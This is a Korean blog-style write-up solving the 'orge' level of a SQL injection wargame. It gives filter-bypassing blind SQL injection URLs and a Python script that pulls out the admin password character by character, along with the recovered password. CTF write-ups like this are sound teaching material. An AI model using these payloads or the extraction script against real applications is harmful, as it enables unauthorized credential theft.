3. 풀이
이전 Orc 문제와 비슷하게, Blind SQL Injection으로 admin의 패스워드를 찾아낸 후 정확한 패스워드를 입력해야 하는 문제로 생각되었다.
우선 Hello admin부터 띄워보았다.
select id from prob_orge where id='guest' and pw='-1' || id='admin'#
https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=-1%27%20||%20id=%27admin%27%23
admin의 패스워드 길이 확인
select id from prob_orge where id='guest' and pw='-1' || id='admin' && length(pw)=8#'
https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=-1%27%20||%20id=%27admin%27%20%26%26%20length(pw)=8%23
참고로 and도 필터링이 되어 있기 때문에 '&&'로 대체해서 보내야 한다.
하지만 '&'기호는 GET방식으로 전달되지 않는다는 특징이 있기 때문에 URL인코딩 값인 '%26'으로 변환하여 보낸다.
우회 문자
or → ||
and → && → %26%26
# → %23
Blind SQL Injection 코드 작성 및 공격
Blind SQL Injection을 위한 코드를 준비한다.
(Orc 문제 풀이에 사용한 코드 재활용)
#!/usr/bin/python
#-*-coding:utf-8 -*-
import urllib,urllib2,requests
password=""
for j in range(1,9): # 1~8자리 패스워드를 찾아야함
print "%d" %j # 현재 몇번째 인지 표시
for i in range(48,128): # 대부분의 글자들 다 찾아내기
try: # 시작!
url="https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=-1' || id='admin'" + " %26" + "%26 " + "substr(pw," + str(j) + ",1)='" + chr(i)
r = requests.post(url,cookies=(dict(PHPSESSID="자신의 세션 ID"))) # 자신의 Session ID를 넣어야함.
print str(j)+"번째 찾는 중 : "+chr(i) # 대략적인 현재 위치를 확인하기 위함
except:
print "Error"
continue
if 'Hello admin' in r.text:
password = password + chr(i)
print "[+]Password : " + password
break
그리고 공격
'6C864DEC'출력
공격할 URL 작성
select id from prob_orge where id='guest' and pw='-1' || id='admin' && pw='6c864dec'#'
https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=-1%27%20||%20id=%27admin%27%20%26%26%20pw=%276c864dec%27%23
그러나...
공격에 성공하지 않았다. 저번 Orc 문제와 동일하게 대문자를 소문자로 바꿔서 했는데도 공격이 성공하질 않았다.
그 이유가
위의 두 번째 문단의 코드를 간과했기 때문이다.
즉, 첫 번째 문단의 코드에서는 id가 guest인 상태에서 pw를 입력 받았으나
두 번째 문단의 코드에서는 id가 admin인 상태에서 pw만 받는 것이였다.
그렇다면, pw만 입력하면 클리어되므로,
select id from prob_orge where id='guest' and pw='6c864dec'
https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=6c864dec
클리어